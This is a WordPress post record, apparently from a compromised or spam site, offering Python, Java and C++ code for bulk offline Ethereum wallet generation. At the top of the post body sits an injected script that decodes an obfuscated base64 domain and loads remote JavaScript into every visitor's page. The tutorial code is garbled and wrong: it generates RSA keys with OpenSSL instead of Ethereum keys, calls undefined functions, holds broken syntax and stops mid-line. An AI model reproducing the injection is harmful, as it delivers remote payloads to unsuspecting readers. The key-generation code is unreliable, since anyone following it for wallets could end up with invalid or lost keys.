{"id":59,"date":"2025-02-04T23:23:17","date_gmt":"2025-02-04T23:23:17","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=59"},"modified":"2025-02-04T23:23:17","modified_gmt":"2025-02-04T23:23:17","slug":"ethereum-how-to-create-a-crowdfunding-wallet-offline-with-python-java-or-c","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=59","title":{"rendered":"Ethereum: How to create a crowdfunding wallet offline with python, java or c++?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"c.php?u=f33b8101\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Generating Offline Bulk Wallets Using Python, Java, or C++<\/strong><\/p>\n<p>In this article, we will look at three possible ways to generate offline bulk wallets (100,000 key pairs) using Python, Java, and C++. We will also consider using command line tools.<\/p>\n<p><strong>Method 1: Using OpenSSL<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: How to generate a bulk wallet offline with python, java or c++?\n\" src=\"https:\/\/30appsin30days.com\/wp-content\/uploads\/2025\/02\/96fd1c0d.png\"><\/p>\n<p>OpenSSL is a popular open source library used for cryptographic operations. We can use it to generate offline key pairs.<\/p>\n<p><strong>Python Code<\/strong><\/p>\n<p><pre><code><\/p><p>import subprocess<\/p><p>def generate_walletoffline():<\/p><p><br><h1><\/h1>Specify OpenSSL configuration file (e.g. <code>openssl.conf<\/code>)<\/p><p>config_file = \"openssl.conf\"<\/p><p><br><h1><\/h1>Specify wallet format (e.g. PEM, DER)<\/p><p>wallet_format = \"der\"<\/p><p><br><h1><\/h1>Generate offline key pairs from 100,000 wallets<\/p><p>for i in range(100000):<\/p><p>command = f\"openssl genrsa -out {config_file}_i{i}_{wallet_format}.der\"<\/p><p>subprocess.run(command, shell=True)<\/p><p><br><h1><\/h1>Extract private keys from generated wallets<\/p><p>wallet_dir = \"wallets_{}_{wallet_format}\".format(i + 1)<\/p><p>for filename in os.listdir(wallet_dir):<\/p><p>if filename.endswith(\".der\"):<\/p><p>with open(os.path.join(wallet_dir, filename), \"rb\") as f:<\/p><p>key = f.read()<\/p><p>private_key = key<\/p><p><br><h1><\/h1>Save the private key to a file (e.g. <code>private_key_{}_{wallet_format}.pem<\/code>.pyw<code>)<\/p><p>save_private_key(private_key)<\/p><p>if __name__ == \"__main__\":<\/p><p>generate_walletoffline()<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Java Code<\/strong><\/p>\n<p><pre><code><\/p><p>import java.io.BufferedReader;<\/p><p>import java.io.File;<\/p><p>import java.io.FileWriter;<\/p><p>import java.io.IOException;<\/p><p>public class GenerateWalletOffline {<\/p><p>public static void main(String[] args) {<\/p><p>\/\/ Specify OpenSSL configuration file (e.g.<\/code>openssl.conf<code>)<\/p><p>String configFile = \"openssl.conf\";<\/p><p>\/\/ Specify wallet format (e.g. DER)<\/p><p>String walletFormat = \"der\";<\/p><p>\/\/ Generate offline key pairs using 100,000 wallets<\/p><p>for (int i = 0; i < 100000; i++) {<\/p><p>System.out.println(\"Generating private key \" + (i + 1) + ...);<\/p><p>\/\/ Execute OpenSSL command to generate wallet<\/p><p>String command = \"openssl genrsa -out \" + configFile + \"_i\" + (i + 1) + \"_\" + walletFormat + \".der\";<\/p><p>Process process = Runtime.getRuntime().exec(command);<\/p><p>BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));<\/p><p>String inputLine;<\/p><p>while ((inputLine = reader.readLine()) != null) {<\/p><p>\/\/ Extract the private key from the output<\/p><p>System.out.println(\"Private key \" + (i + 1) + ... = \" + inputLine);<\/p><p>}<\/p><p>}<\/p><p>\/\/ Save the generated private keys to files (e.g.<\/code>private_key_100000_i0.der<code>and<\/code>private_key_100000_i0.pwpk<code>)<\/p><p>for (int i = 0; i < 100000; i++) {<\/p><p>System.out.println(\"Saving private key \" + (i + 1) + ... to file\");<\/p><p>\/\/ Execute the OpenSSL command to save the private key<\/p><p>String filename = configFile + \"_\" + (i + 1) + \"_\" + walletFormat + \".pwpk\";<\/p><p>try (FileWriter writer = new FileWriter(filename)) {<\/p><p>writer.write(\"private_key_\" + (i + 1) + ...);<\/p><p>}<\/p><p>}<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Ccode++<\/strong><\/p>\n<p><\/code>``cpp<\/p>\n<p>#include <iostream><\/p>\n<p>#include <fstream><\/p>\n<p>#include <sstream><\/p>\n<p>#include <openssl\/rand.h><\/p>\n<p>\/\/ Function that generates the private key<\/p>\n<p>std::string generatePrivateKey(size_t n, size_t p) {<\/p>\n<p>unsigned char* key = new unsigned char[n + 1];<\/p>\n<p>RAND_bytes(key, n);<\/p>\n<p>std::stringstream ss;<\/p>\n<p>for (size_t i = 0; i < n; i++) {<\/p>\n<p>ss << static_cast<unsigned int>(key[i]) | 0x80;<\/p>\n<p>}<\/p>\n<p>\/\/ Save the private key to a file<\/p>\n<p>std::ofstream file(\"private_key_\" + std::to_string(n) + \"_\" + std::to_string(p) + \".pwpk\");<\/p>\n<p>if (file.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Generating Offline Bulk Wallets Using Python, Java, or C++ In this article, we will look at three possible ways to generate offline bulk wallets (100,000 key pairs) using Python, Java, and C++. We will also consider using command line tools. Method 1: Using OpenSSL OpenSSL is a popular open source library used for cryptographic operations. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/59"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=59"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/59\/revisions"}],"predecessor-version":[{"id":60,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/59\/revisions\/60"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=59"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=59"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=59"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}